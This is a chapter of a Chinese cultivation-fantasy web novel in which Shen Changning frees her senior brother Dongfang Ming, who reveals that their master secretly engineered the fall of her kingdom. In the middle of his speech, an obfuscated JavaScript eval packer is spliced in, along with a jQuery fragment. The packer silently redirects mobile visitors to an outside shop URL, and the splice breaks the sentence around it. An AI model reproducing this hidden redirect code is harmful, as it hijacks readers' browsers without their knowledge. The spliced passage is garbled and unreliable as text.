沈长宁在第二日偷偷离开了红渊,她没有告诉任何人自己去了何处,只是留下一封信说自己想出去冷静冷静。
与她一同走的,还有君止。
有君止在身边,师门也少了许多担心,不会派人去寻她。
两人为了让斯言之放心,更是为了甩开身后的眼线,先是朝着南方而去。等到确认眼线离开,他们才调转方向朝桃花坞而去。
一切都是暗中进行,船也是一艘小船,就连上岛也是偷偷潜入。
沈长宁知道洛楚还在岛上,他和斯言之向来穿同一条裤子,若是让他知道自己回来了,就相当于斯言之也知道。
他们先是去了东方明的院子,君止观察了一圈,手指轻轻在桌面擦过,搓了搓指尖的灰尘,他道:“你大师兄已经许久没住过这间屋子了。”
这就奇怪了,明明斯言之说东方明在岛上处理事情,怎么可能多日不归家。
“看来,大师兄怕是出事了。”沈长宁也有了大概的猜测,“为今之计,是确认一下大师兄是否还在岛上。”
这岛上,如今定是洛楚做主。若是东方明还在岛上,只要盯着洛楚,一定能找到一些蛛丝马迹。
沈长宁和君止先是去了洛楚的院子,发现他不在,于是进去查探一番,想看看能不能找到一些线索。
洛楚的屋子很整洁,打扫的一尘不染,就连砚台中的墨都还没干,一看就是不久前还在研墨写字。找了一圈,似乎也没找到什么异常。
“看来只能等他自己露出马脚。”
两人在隐在暗处,等待着洛楚回来。
因为无聊,沈长宁想聊点话题,便问君止:“若是我真的弃剑重修,是不是还要再过十年又或者更多日子,才能到如今的境界。”
君止并不隐瞒,他点头:“是有这个可能。”
但君止并没有说,若是沈长宁的话,用不了这么久。凭她的天赋和毅力,或许用个三年五载便能追上。
可若是她继续按现在的节奏修炼,纵使有一定的风险,但回报也是最大的。她或许能在三年五载之内,成功渡劫,成为修仙界中唯一一个有名字的神。
两人正聊着,洛楚出现了,他俩对视一眼同时噤声。
许久不见,洛楚似乎更虚弱了,走几步便开始咳嗽。对于师父这位经常照拂她的好友,沈长宁其实是很喜欢的,只是印象中小时候他的身体还不错,似乎随着年岁的增长,洛楚的身体便越发不好。
沈长宁曾听东方明说过,窥得天机之人,身弱。或许洛楚在每一次算天之时,都已知晓日后会有怎样的病痛反噬到自己身上。
只是她不理解,明明知道是个不好的事,为何洛楚还要一次一次去算。
如今他不过三十多岁,却已是一身病痛,就连刚从外面回来,带着一身风霜,也要在榻上缓和许久。等到面色红润些许,他才咳了两声,蓦然开口:“既然来了,那便叙叙旧吧。”
沈长宁一愣,她不确定洛楚是否发现了他们,在暗处等了一会儿,没见任何人出现后,他们才确认自己已经暴露。
“洛叔,你还是这么敏锐。”沈长宁摸了摸鼻子,讪笑着走了出来。
洛楚看了眼沈长宁身后的君止,才将目光定在沈长宁身上,他拢了拢身上的狐裘,眼眸深邃,“小长宁,你回个家何时开始偷偷摸摸了?”
“我来寻大师兄,但我没找到他。”沈长宁单刀直入,并不想跟洛楚兜圈子,毕竟她自认为自己定没有洛楚聪明。
沈长宁的天真直率,也是将洛楚逗笑了,“你大师兄确实在岛上,但他犯了错,被你师父关了起来。”
“犯了何错?”沈长宁追问,“大师兄向来做事妥帖,近几日也未曾出岛,怎会犯错?”
直到此时,她才感觉到此事的蹊跷,就好像大师兄这里有一个很重要的答案,等着她去发现。
洛楚叹了口气,他忽然就笑了:“明儿那性子,又能犯什么错呢?小长宁,你还是同你其他几位师兄姐一样,最是信任你大师兄,也不枉他为了你付出了那么多。”
“洛叔,你能告诉我大师兄的下落,那便是你和师父对这件事的态度不一样。我虽不知道你们在隐瞒什么,但大师兄我今日是一定要带走的。”
沈长宁已经猜测到大师兄被关起来和她多多少少有些关系,所以她不会眼睁睁看着大师兄继续受苦。
洛楚本就没打算瞒着,他和斯言之在这件事的态度不一样,他是看着这些孩子长大的,与斯言之不同的是,他倾注在这些孩子身上的没有太多利益,而是一颗真心。
“明儿是个好孩子,他这些年承受的不比你的少,你们这些孩子中,我最心疼的就是他。小长宁,这世上事并不是非黑即白,若是你遇见困境,记得用心去看。”
洛楚说了番不清不楚的话后,将东方明的下落告知了沈长宁。
这里是桃花坞,是东方明的家,岛上的人都是他的家人,自然不会对他如何。他们只是将他关了起来,没渴着没饿着。
见到沈长宁时,东方明有那么一瞬间的惊讶,随后纠结爬满了他的脸。现在的他,是唯一一个知道当年真相的小辈,他很迷茫,不知道这件事是否要说出。
说出,他对不起自己唯一的血亲。不说,他对不起堪比亲人的小师妹。
直到他看见沈长宁紧张的问他可有出事时,他觉得自己的内心已有了答案。
“小师妹,有件事,我觉得你必须得知道。”
东方明的忽然严肃,让沈长宁也忍不住严肃起来。
“四师弟认祖归宗那时,我便发现了异常。我尤记得师父当时带四师弟上岛时,穿着的是药王谷的弟子服,那衣服上的药王谷族徽我记得很清楚。
以师父的身份,不可能不知道四师弟的身份,所以我当时在想四师弟莫不是真的是被师父拐来岛上的。
后来,我回岛上质问师父,却发现我所想皆是真相。我当时就在想,是不是我们所有人都是师父用如此手段带来岛上,或许在这片土地的某个角落里,有着我们的亲人。
直到洛叔告诉我,我是师父的亲生儿子,他求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445525|129655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我不要告诉你们真相时,我退怯了。”
说到这里时,东方明低垂了脑袋,掩住他眸中的哀伤。没有人能理解当他知道自己的师父是亲生父亲时,内心竟没有一丝喜悦,反而是颓废和挫败。
他有父亲,并且一直生活在自己父亲的眼皮子底下。可他的父亲瞧不起他毫无天赋,甚至从小到大连半分父爱都没给过。
无论是师父还是父亲这个角色,他的眼里永远只有天赋更高的孩子。
“我可以当做没有父亲,可我不能让师弟师妹们也没有父亲,我下定决心留在岛上查清真相。”
东方明抬起头,眼光直直的看向沈长宁,那眸中情绪晦暗,夹着这一丝心疼。
一旁的君止身子动了动,他似乎已经猜到东方明要说什么。他本想阻止,但想到什么还是停了下来。
有些真相,总要揭露出来。
只有破开伪装下血淋淋的肉,才知道这光鲜亮丽的外表现藏着怎样的肮脏。沈长宁,终究是要知道真相的。
“小师妹,你或许已经知道了西楚当年灭亡的真相,你也知道当年都有谁参与。可你并不知道,推动这一切的幕后之人是谁。
当年西楚统一四国的真相能在一夜之间传遍整个大陆,必定有星月楼推波助澜,而星月楼,与我们桃花坞关系匪浅。至于这预言的源头,看似在普陀门方圆长老身上,实则是有个人逼迫他说出这番话。这个人,师妹你猜到了吧。”
能让东方明都如此藏着掖着不敢说的人,除了他们的师父还能有谁,沈长宁猜到了,但她也不敢信。
“可师父为何要......”
她想问师父为何要散布这样的谣言,又想问师父为何要这样做,西楚灭亡对他又有什么好处?
东方明将这一切看在眼里,万千思绪化为一声叹息:“四师弟那事浮出水面的真相,就已经说明了一切。”
他们的师父为了将那些星象算出的天赋超绝的孩子带到岛上,已经开始无所不用其极的耍出各种手段。西楚亡了,作为无家可归的小公主,只能跟着她的救命恩人修炼,只待长大后报仇雪恨。
一切都是那么的顺理成章,甚至没人会怀疑斯言之为何会出现在西楚的战场之上,这些用洛楚的星象都能解释的通。
同样的,其他同门或许与齐子归一样,又或许与沈长宁一样。换句话来说,救他们养他们的师父在某种程度上,是他们的仇人。
只是相比之下,沈长宁这仇要深沉的多。她死的不仅仅是爹娘,更是整个西楚成百上千的生命。
东方明带来的真相太过震撼,震撼到沈长宁想去质问都不知道该从何处开口。
君止适时开口:“或许你如今所看到的真相,只是其中的冰山一角。沈长宁,你就不想知道,你师父千方百计的网罗各处的天才少年,目的是什么吗?”
网罗各处天才少年。
这话,让沈长宁想到了蓬莱阁的沉渊塔。
难道,师父所做之事,与蓬莱阁是一样的?皆是为了那所谓的“造神计划”?